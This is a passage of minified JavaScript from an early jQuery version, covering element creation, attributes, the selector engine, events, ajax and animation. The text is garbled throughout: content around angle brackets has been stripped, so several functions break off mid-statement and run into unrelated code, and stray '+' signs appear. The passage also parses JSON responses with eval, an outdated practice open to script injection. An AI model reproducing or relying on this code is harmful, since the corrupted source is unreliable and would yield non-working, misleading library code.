tags=jQuery.trim(elem).toLowerCase(),div=context.createElement("div");var wrap=!tags.indexOf("",""]||!tags.indexOf("",""]||tags.match(/^<(thead|tbody|tfoot|colg|cap)/)&&[1,"","
    "]||!tags.indexOf("",""]||(!tags.indexOf("",""]||!tags.indexOf("",""]||jQuery.browser.msie&&[1,"div
    ","
    "]||[0,"",""];div.innerHTML=wrap[1]+elem+wrap[2];while(wrap[0]--)div=div.lastChild;if(jQuery.browser.msie){var tbody=!tags.indexOf(""&&tags.indexOf("=0;--j)if(jQuery.nodeName(tbody[j],"tbody")&&!tbody[j].childNodes.length)tbody[j].parentNode.removeChild(tbody[j]);if(/^\s/.test(elem))div.insertBefore(context.createTextNode(elem.match(/^\s*/)[0]),div.firstChild);}elem=jQuery.makeArray(div.childNodes);}if(elem.length===0&&(!jQuery.nodeName(elem,"form")&&!jQuery.nodeName(elem,"select")))return;if(elem[0]==undefined||jQuery.nodeName(elem,"form")||elem.options)ret.push(elem);else +ret=jQuery.merge(ret,elem);});return ret;},attr:function(elem,name,value){if(!elem||elem.nodeType==3||elem.nodeType==8)return undefined;var notxml=!jQuery.isXMLDoc(elem),set=value!==undefined,msie=jQuery.browser.msie;name=notxml&&jQuery.props[name]||name;if(elem.tagName){var special=/href|src|style/.test(name);if(name=="selected"&&jQuery.browser.safari)elem.parentNode.selectedIndex;if(name in elem&¬xml&&!special){if(set){if(name=="type"&&jQuery.nodeName(elem,"input")&&elem.parentNode)throw"type property can't be changed";elem[name]=value;}if(jQuery.nodeName(elem,"form")&&elem.getAttributeNode(name))return elem.getAttributeNode(name).nodeValue;return elem[name];}if(msie&¬xml&&name=="style")return jQuery.attr(elem.style,"cssText",value);if(set)elem.setAttribute(name,""+value);var attr=msie&¬xml&&special?elem.getAttribute(name,2):elem.getAttribute(name);return attr===null?undefined:attr;}if(msie&&name=="opacity"){if(set){elem.zoom=1;elem.filter=(elem.filter||"").replace(/alpha\([^)]*\)/,"")+(parseInt(value)+''=="NaN"?"":"alpha(opacity="+value*100+")");}return elem.filter&&elem.filter.indexOf("opacity=")>=0?(parseFloat(elem.filter.match(/opacity=([^)]*)/)[1])/100)+'':"";}name=name.replace(/-([a-z])/ig,function(all,letter){return letter.toUpperCase();});if(set)elem[name]=value;return elem[name];},trim:function(text){return(text||"").replace(/^\s+|\s+$/g,"");},makeArray:function(array){var ret=[];if(array!=null){var i=array.length;if(i==null||array.split||array.setInterval||array.call)ret[0]=array;else +while(i)ret[--i]=array[i];}return ret;},inArray:function(elem,array){for(var i=0,length=array.length;i*",this).remove();while(this.firstChild)this.removeChild(this.firstChild);}},function(name,fn){jQuery.fn[name]=function(){return this.each(fn,arguments);};});jQuery.each(["Height","Width"],function(i,name){var type=name.toLowerCase();jQuery.fn[type]=function(size){return this[0]==window?jQuery.browser.opera&&document.body["client"+name]||jQuery.browser.safari&&window["inner"+name]||document.compatMode=="CSS1Compat"&&document.documentElement["client"+name]||document.body["client"+name]:this[0]==document?Math.max(Math.max(document.body["scroll"+name],document.documentElement["scroll"+name]),Math.max(document.body["offset"+name],document.documentElement["offset"+name])):size==undefined?(this.length?jQuery.css(this[0],type):null):this.css(type,size.constructor==String?size:size+"px");};});function num(elem,prop){return elem[0]&&parseInt(jQuery.curCSS(elem[0],prop,true),10)||0;}var chars=jQuery.browser.safari&&parseInt(jQuery.browser.version)<417?"(?:[\\w*_-]|\\\\.)":"(?:[\\w\u0128-\uFFFF*_-]|\\\\.)",quickChild=new RegExp("^>\\s*("+chars+"+)"),quickID=new RegExp("^("+chars+"+)(#)("+chars+"+)"),quickClass=new RegExp("^([#.]?)("+chars+"*)");jQuery.extend({expr:{"":function(a,i,m){return m[2]=="*"||jQuery.nodeName(a,m[2]);},"#":function(a,i,m){return a.getAttribute("id")==m[2];},":":{lt:function(a,i,m){return im[3]-0;},nth:function(a,i,m){return m[3]-0==i;},eq:function(a,i,m){return m[3]-0==i;},first:function(a,i){return i==0;},last:function(a,i,m,r){return i==r.length-1;},even:function(a,i){return i%2==0;},odd:function(a,i){return i%2;},"first-child":function(a){return a.parentNode.getElementsByTagName("*")[0]==a;},"last-child":function(a){return jQuery.nth(a.parentNode.lastChild,1,"previousSibling")==a;},"only-child":function(a){return!jQuery.nth(a.parentNode.lastChild,2,"previousSibling");},parent:function(a){return a.firstChild;},empty:function(a){return!a.firstChild;},contains:function(a,i,m){return(a.textContent||a.innerText||jQuery(a).text()||"").indexOf(m[3])>=0;},visible:function(a){return"hidden"!=a.type&&jQuery.css(a,"display")!="none"&&jQuery.css(a,"visibility")!="hidden";},hidden:function(a){return"hidden"==a.type||jQuery.css(a,"display")=="none"||jQuery.css(a,"visibility")=="hidden";},enabled:function(a){return!a.disabled;},disabled:function(a){return a.disabled;},checked:function(a){return a.checked;},selected:function(a){return a.selected||jQuery.attr(a,"selected");},text:function(a){return"text"==a.type;},radio:function(a){return"radio"==a.type;},checkbox:function(a){return"checkbox"==a.type;},file:function(a){return"file"==a.type;},password:function(a){return"password"==a.type;},submit:function(a){return"submit"==a.type;},image:function(a){return"image"==a.type;},reset:function(a){return"reset"==a.type;},button:function(a){return"button"==a.type||jQuery.nodeName(a,"button");},input:function(a){return/input|select|textarea|button/i.test(a.nodeName);},has:function(a,i,m){return jQuery.find(m[3],a).length;},header:function(a){return/h\d/i.test(a.nodeName);},animated:function(a){return jQuery.grep(jQuery.timers,function(fn){return a==fn.elem;}).length;}}},parse:[/^(\[) *@?([\w-]+) *([!*$^~=]*) *('?"?)(.*?)\4 *\]/,/^(:)([\w-]+)\("?'?(.*?(\(.*?\))?[^(]*?)"?'?\)/,new RegExp("^([:.#]*)("+chars+"+)")],multiFilter:function(expr,elems,not){var old,cur=[];while(expr&&expr!=old){old=expr;var f=jQuery.filter(expr,elems,not);expr=f.t.replace(/^\s*,\s*/,"");cur=not?elems=f.r:jQuery.merge(cur,f.r);}return cur;},find:function(t,context){if(typeof t!="string")return[t];if(context&&context.nodeType!=1&&context.nodeType!=9)return[];context=context||document;var ret=[context],done=[],last,nodeName;while(t&&last!=t){var r=[];last=t;t=jQuery.trim(t);var foundToken=false,re=quickChild,m=re.exec(t);if(m){nodeName=m[1].toUpperCase();for(var i=0;ret[i];i++)for(var c=ret[i].firstChild;c;c=c.nextSibling)if(c.nodeType==1&&(nodeName=="*"||c.nodeName.toUpperCase()==nodeName))r.push(c);ret=r;t=t.replace(re,"");if(t.indexOf(" ")==0)continue;foundToken=true;}else{re=/^([>+~])\s*(\w*)/i;if((m=re.exec(t))!=null){r=[];var merge={};nodeName=m[2].toUpperCase();m=m[1];for(var j=0,rl=ret.length;j=0;if(!not&&pass||not&&!pass)tmp.push(r[i]);}return tmp;},filter:function(t,r,not){var last;while(t&&t!=last){last=t;var p=jQuery.parse,m;for(var i=0;p[i];i++){m=p[i].exec(t);if(m){t=t.substring(m[0].length);m[2]=m[2].replace(/\\/g,"");break;}}if(!m)break;if(m[1]==":"&&m[2]=="not")r=isSimple.test(m[3])?jQuery.filter(m[3],r,true).r:jQuery(r).not(m[3]);else if(m[1]==".")r=jQuery.classFilter(r,m[2],not);else if(m[1]=="["){var tmp=[],type=m[3];for(var i=0,rl=r.length;i=0)^not)tmp.push(a);}r=tmp;}else if(m[1]==":"&&m[2]=="nth-child"){var merge={},tmp=[],test=/(-?)(\d*)n((?:\+|-)?\d*)/.exec(m[3]=="even"&&"2n"||m[3]=="odd"&&"2n+1"||!/\D/.test(m[3])&&"0n+"+m[3]||m[3]),first=(test[1]+(test[2]||1))-0,last=test[3]-0;for(var i=0,rl=r.length;i=0)add=true;if(add^not)tmp.push(node);}r=tmp;}else{var fn=jQuery.expr[m[1]];if(typeof fn=="object")fn=fn[m[2]];if(typeof fn=="string")fn=eval("false||function(a,i){return "+fn+";}");r=jQuery.grep(r,function(elem,i){return fn(elem,i,m,r);},not);}}return{r:r,t:t};},dir:function(elem,dir){var matched=[],cur=elem[dir];while(cur&&cur!=document){if(cur.nodeType==1)matched.push(cur);cur=cur[dir];}return matched;},nth:function(cur,result,dir,elem){result=result||1;var num=0;for(;cur;cur=cur[dir])if(cur.nodeType==1&&++num==result)break;return cur;},sibling:function(n,elem){var r=[];for(;n;n=n.nextSibling){if(n.nodeType==1&&n!=elem)r.push(n);}return r;}});jQuery.event={add:function(elem,types,handler,data){if(elem.nodeType==3||elem.nodeType==8)return;if(jQuery.browser.msie&&elem.setInterval)elem=window;if(!handler.guid)handler.guid=this.guid++;if(data!=undefined){var fn=handler;handler=this.proxy(fn,function(){return fn.apply(this,arguments);});handler.data=data;}var events=jQuery.data(elem,"events")||jQuery.data(elem,"events",{}),handle=jQuery.data(elem,"handle")||jQuery.data(elem,"handle",function(){if(typeof jQuery!="undefined"&&!jQuery.event.triggered)return jQuery.event.handle.apply(arguments.callee.elem,arguments);});handle.elem=elem;jQuery.each(types.split(/\s+/),function(index,type){var parts=type.split(".");type=parts[0];handler.type=parts[1];var handlers=events[type];if(!handlers){handlers=events[type]={};if(!jQuery.event.special[type]||jQuery.event.special[type].setup.call(elem)===false){if(elem.addEventListener)elem.addEventListener(type,handle,false);else if(elem.attachEvent)elem.attachEvent("on"+type,handle);}}handlers[handler.guid]=handler;jQuery.event.global[type]=true;});elem=null;},guid:1,global:{},remove:function(elem,types,handler){if(elem.nodeType==3||elem.nodeType==8)return;var events=jQuery.data(elem,"events"),ret,index;if(events){if(types==undefined||(typeof types=="string"&&types.charAt(0)=="."))for(var type in events)this.remove(elem,type+(types||""));else{if(types.type){handler=types.handler;types=types.type;}jQuery.each(types.split(/\s+/),function(index,type){var parts=type.split(".");type=parts[0];if(events[type]){if(handler)delete events[type][handler.guid];else +for(handler in events[type])if(!parts[1]||events[type][handler].type==parts[1])delete events[type][handler];for(ret in events[type])break;if(!ret){if(!jQuery.event.special[type]||jQuery.event.special[type].teardown.call(elem)===false){if(elem.removeEventListener)elem.removeEventListener(type,jQuery.data(elem,"handle"),false);else if(elem.detachEvent)elem.detachEvent("on"+type,jQuery.data(elem,"handle"));}ret=null;delete events[type];}}});}for(ret in events)break;if(!ret){var handle=jQuery.data(elem,"handle");if(handle)handle.elem=null;jQuery.removeData(elem,"events");jQuery.removeData(elem,"handle");}}},trigger:function(type,data,elem,donative,extra){data=jQuery.makeArray(data);if(type.indexOf("!")>=0){type=type.slice(0,-1);var exclusive=true;}if(!elem){if(this.global[type])jQuery("*").add([window,document]).trigger(type,data);}else{if(elem.nodeType==3||elem.nodeType==8)return undefined;var val,ret,fn=jQuery.isFunction(elem[type]||null),event=!data[0]||!data[0].preventDefault;if(event){data.unshift({type:type,target:elem,preventDefault:function(){},stopPropagation:function(){},timeStamp:now()});data[0][expando]=true;}data[0].type=type;if(exclusive)data[0].exclusive=true;var handle=jQuery.data(elem,"handle");if(handle)val=handle.apply(elem,data);if((!fn||(jQuery.nodeName(elem,'a')&&type=="click"))&&elem["on"+type]&&elem["on"+type].apply(elem,data)===false)val=false;if(event)data.shift();if(extra&&jQuery.isFunction(extra)){ret=extra.apply(elem,val==null?data:data.concat(val));if(ret!==undefined)val=ret;}if(fn&&donative!==false&&val!==false&&!(jQuery.nodeName(elem,'a')&&type=="click")){this.triggered=true;try{elem[type]();}catch(e){}}this.triggered=false;}return val;},handle:function(event){var val,ret,namespace,all,handlers;event=arguments[0]=jQuery.event.fix(event||window.event);namespace=event.type.split(".");event.type=namespace[0];namespace=namespace[1];all=!namespace&&!event.exclusive;handlers=(jQuery.data(this,"events")||{})[event.type];for(var j in handlers){var handler=handlers[j];if(all||handler.type==namespace){event.handler=handler;event.data=handler.data;ret=handler.apply(this,arguments);if(val!==false)val=ret;if(ret===false){event.preventDefault();event.stopPropagation();}}}return val;},fix:function(event){if(event[expando]==true)return event;var originalEvent=event;event={originalEvent:originalEvent};var props="altKey attrChange attrName bubbles button cancelable charCode clientX clientY ctrlKey currentTarget data detail eventPhase fromElement handler keyCode metaKey newValue originalTarget pageX pageY prevValue relatedNode relatedTarget screenX screenY shiftKey srcElement target timeStamp toElement type view wheelDelta which".split(" ");for(var i=props.length;i;i--)event[props[i]]=originalEvent[props[i]];event[expando]=true;event.preventDefault=function(){if(originalEvent.preventDefault)originalEvent.preventDefault();originalEvent.returnValue=false;};event.stopPropagation=function(){if(originalEvent.stopPropagation)originalEvent.stopPropagation();originalEvent.cancelBubble=true;};event.timeStamp=event.timeStamp||now();if(!event.target)event.target=event.srcElement||document;if(event.target.nodeType==3)event.target=event.target.parentNode;if(!event.relatedTarget&&event.fromElement)event.relatedTarget=event.fromElement==event.target?event.toElement:event.fromElement;if(event.pageX==null&&event.clientX!=null){var doc=document.documentElement,body=document.body;event.pageX=event.clientX+(doc&&doc.scrollLeft||body&&body.scrollLeft||0)-(doc.clientLeft||0);event.pageY=event.clientY+(doc&&doc.scrollTop||body&&body.scrollTop||0)-(doc.clientTop||0);}if(!event.which&&((event.charCode||event.charCode===0)?event.charCode:event.keyCode))event.which=event.charCode||event.keyCode;if(!event.metaKey&&event.ctrlKey)event.metaKey=event.ctrlKey;if(!event.which&&event.button)event.which=(event.button&1?1:(event.button&2?3:(event.button&4?2:0)));return event;},proxy:function(fn,proxy){proxy.guid=fn.guid=fn.guid||proxy.guid||this.guid++;return proxy;},special:{ready:{setup:function(){bindReady();return;},teardown:function(){return;}},mouseenter:{setup:function(){if(jQuery.browser.msie)return false;jQuery(this).bind("mouseover",jQuery.event.special.mouseenter.handler);return true;},teardown:function(){if(jQuery.browser.msie)return false;jQuery(this).unbind("mouseover",jQuery.event.special.mouseenter.handler);return true;},handler:function(event){if(withinElement(event,this))return true;event.type="mouseenter";return jQuery.event.handle.apply(this,arguments);}},mouseleave:{setup:function(){if(jQuery.browser.msie)return false;jQuery(this).bind("mouseout",jQuery.event.special.mouseleave.handler);return true;},teardown:function(){if(jQuery.browser.msie)return false;jQuery(this).unbind("mouseout",jQuery.event.special.mouseleave.handler);return true;},handler:function(event){if(withinElement(event,this))return true;event.type="mouseleave";return jQuery.event.handle.apply(this,arguments);}}}};jQuery.fn.extend({bind:function(type,data,fn){return type=="unload"?this.one(type,data,fn):this.each(function(){jQuery.event.add(this,type,fn||data,fn&&data);});},one:function(type,data,fn){var one=jQuery.event.proxy(fn||data,function(event){jQuery(this).unbind(event,one);return(fn||data).apply(this,arguments);});return this.each(function(){jQuery.event.add(this,type,one,fn&&data);});},unbind:function(type,fn){return this.each(function(){jQuery.event.remove(this,type,fn);});},trigger:function(type,data,fn){return this.each(function(){jQuery.event.trigger(type,data,this,true,fn);});},triggerHandler:function(type,data,fn){return this[0]&&jQuery.event.trigger(type,data,this[0],false,fn);},toggle:function(fn){var args=arguments,i=1;while(i=0){var selector=url.slice(off,url.length);url=url.slice(0,off);}callback=callback||function(){};var type="GET";if(params)if(jQuery.isFunction(params)){callback=params;params=null;}else{params=jQuery.param(params);type="POST";}var self=this;jQuery.ajax({url:url,type:type,dataType:"html",data:params,complete:function(res,status){if(status=="success"||status=="notmodified")self.html(selector?jQuery("
    ").append(res.responseText.replace(//g,"")).find(selector):res.responseText);self.each(callback,[res.responseText,status,res]);}});return this;},serialize:function(){return jQuery.param(this.serializeArray());},serializeArray:function(){return this.map(function(){return jQuery.nodeName(this,"form")?jQuery.makeArray(this.elements):this;}).filter(function(){return this.name&&!this.disabled&&(this.checked||/select|textarea/i.test(this.nodeName)||/text|hidden|password/i.test(this.type));}).map(function(i,elem){var val=jQuery(this).val();return val==null?null:val.constructor==Array?jQuery.map(val,function(val,i){return{name:elem.name,value:val};}):{name:elem.name,value:val};}).get();}});jQuery.each("ajaxStart,ajaxStop,ajaxComplete,ajaxError,ajaxSuccess,ajaxSend".split(","),function(i,o){jQuery.fn[o]=function(f){return this.bind(o,f);};});var jsc=now();jQuery.extend({get:function(url,data,callback,type){if(jQuery.isFunction(data)){callback=data;data=null;}return jQuery.ajax({type:"GET",url:url,data:data,success:callback,dataType:type});},getScript:function(url,callback){return jQuery.get(url,null,callback,"script");},getJSON:function(url,data,callback){return jQuery.get(url,data,callback,"json");},post:function(url,data,callback,type){if(jQuery.isFunction(data)){callback=data;data={};}return jQuery.ajax({type:"POST",url:url,data:data,success:callback,dataType:type});},ajaxSetup:function(settings){jQuery.extend(jQuery.ajaxSettings,settings);},ajaxSettings:{url:location.href,global:true,type:"GET",timeout:0,contentType:"application/x-www-form-urlencoded",processData:true,async:true,data:null,username:null,password:null,accepts:{xml:"application/xml, text/xml",html:"text/html",script:"text/javascript, application/javascript",json:"application/json, text/javascript",text:"text/plain",_default:"*/*"}},lastModified:{},ajax:function(s){s=jQuery.extend(true,s,jQuery.extend(true,{},jQuery.ajaxSettings,s));var jsonp,jsre=/=\?(&|$)/g,status,data,type=s.type.toUpperCase();if(s.data&&s.processData&&typeof s.data!="string")s.data=jQuery.param(s.data);if(s.dataType=="jsonp"){if(type=="GET"){if(!s.url.match(jsre))s.url+=(s.url.match(/\?/)?"&":"?")+(s.jsonp||"callback")+"=?";}else if(!s.data||!s.data.match(jsre))s.data=(s.data?s.data+"&":"")+(s.jsonp||"callback")+"=?";s.dataType="json";}if(s.dataType=="json"&&(s.data&&s.data.match(jsre)||s.url.match(jsre))){jsonp="jsonp"+jsc++;if(s.data)s.data=(s.data+"").replace(jsre,"="+jsonp+"$1");s.url=s.url.replace(jsre,"="+jsonp+"$1");s.dataType="script";window[jsonp]=function(tmp){data=tmp;success();complete();window[jsonp]=undefined;try{delete window[jsonp];}catch(e){}if(head)head.removeChild(script);};}if(s.dataType=="script"&&s.cache==null)s.cache=false;if(s.cache===false&&type=="GET"){var ts=now();var ret=s.url.replace(/(\?|&)_=.*?(&|$)/,"$1_="+ts+"$2");s.url=ret+((ret==s.url)?(s.url.match(/\?/)?"&":"?")+"_="+ts:"");}if(s.data&&type=="GET"){s.url+=(s.url.match(/\?/)?"&":"?")+s.data;s.data=null;}if(s.global&&!jQuery.active++)jQuery.event.trigger("ajaxStart");var remote=/^(?:\w+:)?\/\/([^\/?#]+)/;if(s.dataType=="script"&&type=="GET"&&remote.test(s.url)&&remote.exec(s.url)[1]!=location.host){var head=document.getElementsByTagName("head")[0];var script=document.createElement("script");script.src=s.url;if(s.scriptCharset)script.charset=s.scriptCharset;if(!jsonp){var done=false;script.onload=script.onreadystatechange=function(){if(!done&&(!this.readyState||this.readyState=="loaded"||this.readyState=="complete")){done=true;success();complete();head.removeChild(script);}};}head.appendChild(script);return undefined;}var requestDone=false;var xhr=window.ActiveXObject?new ActiveXObject("Microsoft.XMLHTTP"):new XMLHttpRequest();if(s.username)xhr.open(type,s.url,s.async,s.username,s.password);else +xhr.open(type,s.url,s.async);try{if(s.data)xhr.setRequestHeader("Content-Type",s.contentType);if(s.ifModified)xhr.setRequestHeader("If-Modified-Since",jQuery.lastModified[s.url]||"Thu, 01 Jan 1970 00:00:00 GMT");xhr.setRequestHeader("X-Requested-With","XMLHttpRequest");xhr.setRequestHeader("Accept",s.dataType&&s.accepts[s.dataType]?s.accepts[s.dataType]+", */*":s.accepts._default);}catch(e){}if(s.beforeSend&&s.beforeSend(xhr,s)===false){s.global&&jQuery.active--;xhr.abort();return false;}if(s.global)jQuery.event.trigger("ajaxSend",[xhr,s]);var onreadystatechange=function(isTimeout){if(!requestDone&&xhr&&(xhr.readyState==4||isTimeout=="timeout")){requestDone=true;if(ival){clearInterval(ival);ival=null;}status=isTimeout=="timeout"&&"timeout"||!jQuery.httpSuccess(xhr)&&"error"||s.ifModified&&jQuery.httpNotModified(xhr,s.url)&&"notmodified"||"success";if(status=="success"){try{data=jQuery.httpData(xhr,s.dataType,s.dataFilter);}catch(e){status="parsererror";}}if(status=="success"){var modRes;try{modRes=xhr.getResponseHeader("Last-Modified");}catch(e){}if(s.ifModified&&modRes)jQuery.lastModified[s.url]=modRes;if(!jsonp)success();}else +jQuery.handleError(s,xhr,status);complete();if(s.async)xhr=null;}};if(s.async){var ival=setInterval(onreadystatechange,13);if(s.timeout>0)setTimeout(function(){if(xhr){xhr.abort();if(!requestDone)onreadystatechange("timeout");}},s.timeout);}try{xhr.send(s.data);}catch(e){jQuery.handleError(s,xhr,null,e);}if(!s.async)onreadystatechange();function success(){if(s.success)s.success(data,status);if(s.global)jQuery.event.trigger("ajaxSuccess",[xhr,s]);}function complete(){if(s.complete)s.complete(xhr,status);if(s.global)jQuery.event.trigger("ajaxComplete",[xhr,s]);if(s.global&&!--jQuery.active)jQuery.event.trigger("ajaxStop");}return xhr;},handleError:function(s,xhr,status,e){if(s.error)s.error(xhr,status,e);if(s.global)jQuery.event.trigger("ajaxError",[xhr,s,e]);},active:0,httpSuccess:function(xhr){try{return!xhr.status&&location.protocol=="file:"||(xhr.status>=200&&xhr.status<300)||xhr.status==304||xhr.status==1223||jQuery.browser.safari&&xhr.status==undefined;}catch(e){}return false;},httpNotModified:function(xhr,url){try{var xhrRes=xhr.getResponseHeader("Last-Modified");return xhr.status==304||xhrRes==jQuery.lastModified[url]||jQuery.browser.safari&&xhr.status==undefined;}catch(e){}return false;},httpData:function(xhr,type,filter){var ct=xhr.getResponseHeader("content-type"),xml=type=="xml"||!type&&ct&&ct.indexOf("xml")>=0,data=xml?xhr.responseXML:xhr.responseText;if(xml&&data.documentElement.tagName=="parsererror")throw"parsererror";if(filter)data=filter(data,type);if(type=="script")jQuery.globalEval(data);if(type=="json")data=eval("("+data+")");return data;},param:function(a){var s=[];if(a.constructor==Array||a.jquery)jQuery.each(a,function(){s.push(encodeURIComponent(this.name)+"="+encodeURIComponent(this.value));});else +for(var j in a)if(a[j]&&a[j].constructor==Array)jQuery.each(a[j],function(){s.push(encodeURIComponent(j)+"="+encodeURIComponent(this));});else +s.push(encodeURIComponent(j)+"="+encodeURIComponent(jQuery.isFunction(a[j])?a[j]():a[j]));return s.join("&").replace(/%20/g,"+");}});jQuery.fn.extend({show:function(speed,callback){return speed?this.animate({height:"show",width:"show",opacity:"show"},speed,callback):this.filter(":hidden").each(function(){this.style.display=this.oldblock||"";if(jQuery.css(this,"display")=="none"){var elem=jQuery("<"+this.tagName+" />").appendTo("body");this.style.display=elem.css("display");if(this.style.display=="none")this.style.display="block";elem.remove();}}).end();},hide:function(speed,callback){return speed?this.animate({height:"hide",width:"hide",opacity:"hide"},speed,callback):this.filter(":visible").each(function(){this.oldblock=this.oldblock||jQuery.css(this,"display");this.style.display="none";}).end();},_toggle:jQuery.fn.toggle,toggle:function(fn,fn2){return jQuery.isFunction(fn)&&jQuery.isFunction(fn2)?this._toggle.apply(this,arguments):fn?this.animate({height:"toggle",width:"toggle",opacity:"toggle"},fn,fn2):this.each(function(){jQuery(this)[jQuery(this).is(":hidden")?"show":"hide"]();});},slideDown:function(speed,callback){return this.animate({height:"show"},speed,callback);},slideUp:function(speed,callback){return this.animate({height:"hide"},speed,callback);},slideToggle:function(speed,callback){return this.animate({height:"toggle"},speed,callback);},fadeIn:function(speed,callback){return this.animate({opacity:"show"},speed,callback);},fadeOut:function(speed,callback){return this.animate({opacity:"hide"},speed,callback);},fadeTo:function(speed,to,callback){return this.animate({opacity:to},speed,callback);},animate:function(prop,speed,easing,callback){var optall=jQuery.speed(speed,easing,callback);return this[optall.queue===false?"each":"queue"](function(){if(this.nodeType!=1)return false;var opt=jQuery.extend({},optall),p,hidden=jQuery(this).is(":hidden"),self=this;for(p in prop){if(prop[p]=="hide"&&hidden||prop[p]=="show"&&!hidden)return opt.complete.call(this);if(p=="height"||p=="width"){opt.display=jQuery.css(this,"display");opt.overflow=this.style.overflow;}}if(opt.overflow!=null)this.style.overflow="hidden";opt.curAnim=jQuery.extend({},prop);jQuery.each(prop,function(name,val){var e=new jQuery.fx(self,opt,name);if(/toggle|show|hide/.test(val))e[val=="toggle"?hidden?"show":"hide":val](prop);else{var parts=val.toString().match(/^([+-]=)?([\d+-.]+)(.*)$/),start=e.cur(true)||0;if(parts){var end=parseFloat(parts[2]),unit=parts[3]||"px";if(unit!="px"){self.style[name]=(end||1)+unit;start=((end||1)/e.cur(true))*start;self.style[name]=start+unit;}if(parts[1])end=((parts[1]=="-="?-1:1)*end)+start;e.custom(start,end,unit);}else +e.custom(start,val,"");}});return true;});},queue:function(type,fn){if(jQuery.isFunction(type)||(type&&type.constructor==Array)){fn=type;type="fx";}if(!type||(typeof type=="string"&&!fn))return queue(this[0],type);return this.each(function(){if(fn.constructor==Array)queue(this,type,fn);else{queue(this,type).push(fn);if(queue(this,type).length==1)fn.call(this);}});},stop:function(clearQueue,gotoEnd){var timers=jQuery.timers;if(clearQueue)this.queue([]);this.each(function(){for(var i=timers.length-1;i>=0;i--)if(timers[i].elem==this){if(gotoEnd)timers[i](true);timers.splice(i,1);}});if(!gotoEnd)this.dequeue();return this;}});var queue=function(elem,type,array){if(elem){type=type||"fx";var q=jQuery.data(elem,type+"queue");if(!q||array)q=jQuery.data(elem,type+"queue",jQuery.makeArray(array));}return q;};jQuery.fn.dequeue=function(type){type=type||"fx";return this.each(function(){var q=queue(this,type);q.shift();if(q.length)q[0].call(this);});};jQuery.extend({speed:function(speed,easing,fn){var opt=speed&&speed.constructor==Object?speed:{complete:fn||!fn&&easing||jQuery.isFunction(speed)&&speed,duration:speed,easing:fn&&easing||easing&&easing.constructor!=Function&&easing};opt.duration=(opt.duration&&opt.duration.constructor==Number?opt.duration:jQuery.fx.speeds[opt.duration])||jQuery.fx.speeds.def;opt.old=opt.complete;opt.complete=function(){if(opt.queue!==false)jQuery(this).dequeue();if(jQuery.isFunction(opt.old))opt.old.call(this);};return opt;},easing:{linear:function(p,n,firstNum,diff){return firstNum+diff*p;},swing:function(p,n,firstNum,diff){return((-Math.cos(p*Math.PI)/2)+0.5)*diff+firstNum;}},timers:[],timerId:null,fx:function(elem,options,prop){this.options=options;this.elem=elem;this.prop=prop;if(!options.orig)options.orig={};}});jQuery.fx.prototype={update:function(){if(this.options.step)this.options.step.call(this.elem,this.now,this);(jQuery.fx.step[this.prop]||jQuery.fx.step._default)(this);if(this.prop=="height"||this.prop=="width")this.elem.style.display="block";},cur:function(force){if(this.elem[this.prop]!=null&&this.elem.style[this.prop]==null)return this.elem[this.prop];var r=parseFloat(jQuery.css(this.elem,this.prop,force));return r&&r>-10000?r:parseFloat(jQuery.curCSS(this.elem,this.prop))||0;},custom:function(from,to,unit){this.startTime=now();this.start=from;this.end=to;this.unit=unit||this.unit||"px";this.now=this.start;this.pos=this.state=0;this.update();var self=this;function t(gotoEnd){return self.step(gotoEnd);}t.elem=this.elem;jQuery.timers.push(t);if(jQuery.timerId==null){jQuery.timerId=setInterval(function(){var timers=jQuery.timers;for(var i=0;ithis.options.duration+this.startTime){this.now=this.end;this.pos=this.state=1;this.update();this.options.curAnim[this.prop]=true;var done=true;for(var i in this.options.curAnim)if(this.options.curAnim[i]!==true)done=false;if(done){if(this.options.display!=null){this.elem.style.overflow=this.options.overflow;this.elem.style.display=this.options.display;if(jQuery.css(this.elem,"display")=="none")this.elem.style.display="block";}if(this.options.hide)this.elem.style.display="none";if(this.options.hide||this.options.show)for(var p in this.options.curAnim)jQuery.attr(this.elem.style,p,this.options.orig[p]);}if(done)this.options.complete.call(this.elem);return false;}else{var n=t-this.startTime;this.state=n/this.options.duration;this.pos=jQuery.easing[this.options.easing||(jQuery.easing.swing?"swing":"linear")](this.state,n,0,1,this.options.duration);this.now=this.start+((this.end-this.start)*this.pos);this.update();}return true;}};jQuery.extend(jQuery.fx,{speeds:{slow:600,fast:200,def:400},step:{scrollLeft:function(fx){fx.elem.scrollLeft=fx.now;},scrollTop:function(fx){fx.elem.scrollTop=fx.now;},opacity:function(fx){jQuery.attr(fx.elem.style,"opacity",fx.now);},_default:function(fx){fx.elem.style[fx.prop]=fx.now+fx.unit;}}});jQuery.fn.offset=function(){var left=0,top=0,elem=this[0],results;if(elem)with(jQuery.browser){var parent=elem.parentNode,offsetChild=elem,offsetParent=elem.offsetParent,doc=elem.ownerDocument,safari2=safari&&parseInt(version)<522&&!/adobeair/i.test(userAgent),css=jQuery.curCSS,fixed=css(elem,"position")=="fixed";if(elem.getBoundingClientRect){var box=elem.getBoundingClientRect();add(box.left+Math.max(doc.documentElement.scrollLeft,doc.body.scrollLeft),box.top+Math.max(doc.documentElement.scrollTop,doc.body.scrollTop));add(-doc.documentElement.clientLeft,-doc.documentElement.clientTop);}else{add(elem.offsetLeft,elem.offsetTop);while(offsetParent){add(offsetParent.offsetLeft,offsetParent.offsetTop);if(mozilla&&!/^t(able|d|h)$/i.test(offsetParent.tagName)||safari&&!safari2)border(offsetParent);if(!fixed&&css(offsetParent,"position")=="fixed")fixed=true;offsetChild=/^body$/i.test(offsetParent.tagName)?offsetChild:offsetParent;offsetParent=offsetParent.offsetParent;}while(parent&&parent.tagName&&!/^body|html$/i.test(parent.tagName)){if(!/^inline|table.*$/i.test(css(parent,"display")))add(-parent.scrollLeft,-parent.scrollTop);if(mozilla&&css(parent,"overflow")!="visible")border(parent);parent=parent.parentNode;}if((safari2&&(fixed||css(offsetChild,"position")=="absolute"))||(mozilla&&css(offsetChild,"position")!="absolute"))add(-doc.body.offsetLeft,-doc.body.offsetTop);if(fixed)add(Math.max(doc.documentElement.scrollLeft,doc.body.scrollLeft),Math.max(doc.documentElement.scrollTop,doc.body.scrollTop));}results={top:top,left:left};}function border(elem){add(jQuery.curCSS(elem,"borderLeftWidth",true),jQuery.curCSS(elem,"borderTopWidth",true));}function add(l,t){left+=parseInt(l,10)||0;top+=parseInt(t,10)||0;}return results;};jQuery.fn.extend({position:function(){var left=0,top=0,results;if(this[0]){var 